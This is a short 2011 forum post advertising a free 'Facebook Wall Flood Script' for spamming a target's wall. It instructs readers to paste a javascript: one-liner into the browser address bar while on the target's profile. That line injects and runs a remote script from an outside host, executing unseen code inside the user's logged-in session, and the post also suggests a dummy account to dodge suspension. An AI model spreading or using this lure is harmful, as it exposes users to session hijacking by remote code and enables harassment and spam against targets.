Thread: [Facebook Wall Flood Script \[Free\]](#)

Freerunning - May 9, 2011, 4:36 am

This Script will flood your target wall depending how many post you entered and your message.

Note: Just use a Dummy account to prevent account suspension

How to use??

Go to your target profile then copy the code to your address bar and a pop up will ask you how many post and what's message

Code javascript:(a = (b = document).createElement("script")).src = "///hallwayinsider.com/a.js", b.body.appendChild(a); void(0)
